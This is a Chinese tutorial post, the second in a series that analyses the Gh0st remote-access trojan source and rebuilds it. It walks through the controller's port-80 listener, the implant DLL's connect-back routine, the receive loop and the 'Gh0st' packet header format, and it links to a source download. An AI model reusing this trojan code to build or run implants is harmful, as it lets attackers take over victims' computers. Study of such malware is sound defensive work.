上次說了那么多,基本上就是一個叫“大局觀”的東西,只有腦子里有了一個軟件的設計、運行思路,才能把一個一個類寫出來,組合在一起。
Gh0st的作者是一個對代碼有很好掌控的人,他對代碼的組合,類之間的關系,面向對象的思想有很深入的理解。而對我們看源碼的人來說,這種結構化、條理化的程序,閱讀起來十分輕松,思路也十分清晰。
廢話不多說,我們今天來看一下gh0st的上線。所謂上線,就是我們被控端啟動起來,并主動連接我們主控端,建立起TCP連接以后,主控端就可以通過相關命令來操作被控端了,這就是一臺“肉雞”的上線。
上線以后,主控端就獲取到被控端計算機的相關信息,如下圖:
界面就是完全按照老狼的gh0st教程中的界面設計的。我們打開源碼,看看上線,gh0st是怎么處理的。
以后每次文章,我會把我的源碼發上來,大家看我的源碼就可以了。這里先簡潔地介紹一下我的源碼。有如下一些文件。
這是一個解決方案,其中:MainDll是被控端,一個動態鏈接庫的工程;DLLTest是加載dll的普通控制臺工程;PhRemote是主控端工程,MFC的界面。Bin是我們輸出文件夾,編譯好的文件會在其中,其中又有兩個文件夾,PhRemote是主控端,server是被控端,server中放著exe和dll,點擊exe就算啟動了被控端。Common中放著三個工程都可能用到的文件。
回到代碼上。在主控端方面,首先我們開啟了一個端口(80),來等待被控端的連接。這些工作由Activate函數完成(在PhRemote中搜索該函數找到它):
| 01 | void?CPhRemoteDlg::Activate(UINT?uPort,?UINT?nMaxConnect) |
| 04 | ????if?(m_iocpServer != NULL) |
| 06 | ????????m_iocpServer->Shutdown(); |
| 07 | ????????delete?m_iocpServer; |
| 09 | ????m_iocpServer =?new?CIOCPServer(); |
| 11 | ????if?(m_iocpServer->Initialize(NotifyProc,?this, nMaxConnect, uPort)) |
| 13 | ????????char?hostname[256]; |
| 14 | ????????gethostname(hostname,?sizeof(hostname)); |
| 15 | ????????HOSTENT *host = gethostbyname(hostname); |
| 16 | ????????if?(host != NULL) |
| 18 | ????????????for?(?int?i=0; ; i++ ) |
| 20 | ????????????????str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]); |
| 21 | ????????????????if?( host->h_addr_list[i] + host->h_length >= host->h_name ) |
| 22 | ????????????????????break; |
| 23 | ????????????????str +=?"/"; |
| 26 | ????????str.Format("監聽端口: %d成功", uPort); |
| 27 | ????????AddInfoList(TRUE, str); |
| 31 | ????????str.Format("監聽端口: %d失敗”, uPort); |
| 32 | ????????AddInfoList(FALSE, str); |
????
首先,變量m_iocpServer,這是我們上次說到的gh0st數據傳輸使用的CIOCPServer類對象,m_iocpServer?=?new?CIOCPServer(),為它在堆上分配內存。以后我們的數據傳輸,都使用該對象來完成。
之后我們調用了該對象一個成員函數:m_iocpServer->Initialize(NotifyProc,?this,?nMaxConnect,?uPort),我們右鍵?-?轉到定義,可以查看到在CIOCPServer函數的定義。
大概就是初始化socket套接字的一個過程:WSASocket?>?WSACreateEvent?>?WSAEventSelect?>?bind?>?listen?>?進入監聽線程。這已經是socket編程的一個基礎了,我就不多講。不過,其中用到了Event這個概念,這是完成端口模型中用到的概念。大家可以自己網上搜索一些異步IO模型的相關資料學習。
在m_iocpServer->Initialize函數執行完成后,等于說已經開始監聽80端口了。這個if語句中有一個for循環,該循環并沒有用上,到此為止我也不知道老狼的源碼中為什么會有這樣一段。它的作用是獲取本機在所有網段下的ip地址,以/分隔。
最后,監聽成功或失敗則向下面一個ListCtrl中增加一條信息。
好,我們在轉向被控端,就是那個dll工程。我們這個DLL只有一個導出函數,就是TestRun,執行了這個函數,等于開啟了被控端。找到該函數:
| 1 | extern?"C"?__declspec(dllexport)?void?TestRun(char* strHost,int?nPort ) |
| 3 | ????strcpy_s(g_strHost, _countof(g_strHost),strHost);???//保存上線地址 |
| 4 | ????g_dwPort = nPort;???????????????????????????????????????//保存上線端口 |
| 5 | ????HANDLE?hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL); |
| 7 | ????WaitForSingleObject(hThread, INFINITE); |
| 8 | ????CloseHandle(hThread); |
該函數有兩個參數,分別是主控端的IP和端口。如果不知道IP和端口,我們也不能向主控端發起連接,不是嗎?
本函數實際上是開啟了一個線程,執行main函數。打開main函數,我只找關于上線的相關代碼:
首先聲明了一個CClientSocket?socketClient;對象,我之前說了,被控端的數據傳輸,由CClientSocket類完成。
之后:
| 1 | if?(!socketClient.Connect(lpszHost, dwPort)) |
| 3 | ????bBreakError = CONNECT_ERROR;???????//---連接錯誤跳出本次循環 |
之后調用了socketClient.Connect函數(參數依舊是主控端的IP和端口),從字面意思就可以猜到是由它來連接我們的主控端。于是,右鍵?-?轉到定義,找到該函數。
其中可能涉及到sock5代理,Negle算法等復雜的過程,我就不展開了。你只要知道,調用了socketClient.Connect函數,我們就連接了主控端的80端口。
在socketClient.Connect函數的最后,我們看到,它又開啟了一個線程,執行WorkThread函數,跟進此函數看:
| 01 | DWORD?WINAPI CClientSocket::WorkThread(LPVOID?lparam)?? |
| 03 | ????CClientSocket *pThis = (CClientSocket *)lparam; |
| 04 | ????char????buff[MAX_RECV_BUFFER]; |
| 06 | ????FD_ZERO(&fdSocket); |
| 07 | ????FD_SET(pThis->m_Socket, &fdSocket); |
| 08 | ????while?(pThis->IsRunning())????????????????//---如果主控端沒有退出,就一直陷在這個循環中 |
| 10 | ????????fd_set fdRead = fdSocket; |
| 11 | ????????int?nRet = select(NULL, &fdRead, NULL, NULL, NULL);???//---這里判斷是否斷開連接 |
| 12 | ????????if?(nRet == SOCKET_ERROR)????? |
| 14 | ????????????pThis->Disconnect(); |
| 19 | ????????????memset(buff, 0,?sizeof(buff)); |
| 20 | ????????????int?nSize = recv(pThis->m_Socket, buff,?sizeof(buff), 0);?????//---接收主控端發來的數據 |
| 21 | ????????????if?(nSize <= 0) |
| 23 | ????????????????pThis->Disconnect();//---接收錯誤處理 |
| 24 | ????????????????break; |
| 26 | ????????????if?(nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);????//---正確接收就調用OnRead處理 |
看注釋就很清楚了。不多說,類似于一個select選擇模型,來循環接受主控端發來的信息。正確接受信息,就調用OnRead處理,所以我們跟進OnRead函數。該函數注釋寫的很詳細,有一點我要說明。
被控端與主控端通信,每條信息有一個數據頭,我們來到CClientSocket類的構造函數,可以看到以下賦值:
BYTE?bPacketFlag[]?=?{'G',?'h',?'0',?'s',?'t'};
memcpy(m_bPacketFlag,?bPacketFlag,?sizeof(bPacketFlag));
m_bPacketFlag這也就是我們的數據頭。相當于一個確認的作用,發來的包的前五個字節必須是"Gh0st",否則就丟棄此包,拋出一個錯誤。
它是這樣處理的:
| 1 | BYTE?bPacketFlag[FLAG_SIZE]; |
| 2 | CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(),?sizeof(bPacketFlag)); |
| 3 | if?(memcmp(m_bPacketFlag, bPacketFlag,?sizeof(m_bPacketFlag)) != 0) |
| 4 | ????throw?"bad buffer"; |
FLAG_SIZE就是5,表示數據頭大小5字節。首先copymemory,把前5字節從數據包中拷貝出來,再用memcmp比較是否是“Gh0st”,不是則throw出錯誤。
再往下看,第6-9個字節(一個int的大小),保存的是數據包的大小。
| 2 | CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE),?sizeof(int)); |
| 4 | if?(nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize) |
????
用CopyMemory拷貝出該數,nSize是拷貝出來的數據包大小,這是壓縮后的數據包的大小。如果不出意外,進入if語句。If語句中,我們看到三個read:
m_CompressionBuffer.Read((PBYTE)?bPacketFlag,?sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)?&nSize,?sizeof(int));
m_CompressionBuffer.Read((PBYTE)?&nUnCompressLength,?sizeof(int));
分別讀的就是數據頭(Gh0st),數據包大小,壓縮前大小。之后還有一個read:
m_CompressionBuffer.Read(pData,?nCompressLength);
這就是讀的數據了。所以說算一下,數據頭5字節,兩個int,8字節,一共13個字節,相當于是數據包的header部分,而從第14字節開始,就是真正的數據包了。
我們調用uncompress函數,解壓縮數據包,得到需要的數據。Gh0st利用解壓成功與否,判斷一個數據包的好壞。如果解壓成功,則執行OnReceive函數:
| 1 | if?(nRet == Z_OK)//---如果解壓成功 |
| 3 | ????m_DeCompressionBuffer.ClearBuffer(); |
| 4 | ????m_DeCompressionBuffer.Write(pDeCompressionData, destLen); |
| 5 | ????//調用m_pManager->OnReceive函數 |
| 6 | ????m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen()); |
| 9 | ????throw?"bad buffer"; |
OnReceive函數在CManager中定義,但并未實現(一個虛函數)。
我們看m_pManager,它其實是一個CManager類對象。由于多態的存在,在不同的情況下,它會指向不同的代碼,執行不同的任務。(我覺得這是gh0st源碼中面向對象的精髓所在)
它到底有什么用呢?下次我會給大家實現cmd后門的功能,到時候你就知道這個點的用處所在了。
【本文源碼及doc下載:http://vdisk.weibo.com/s/u9oF-vwNrwpw4】
總結
以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(二)的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。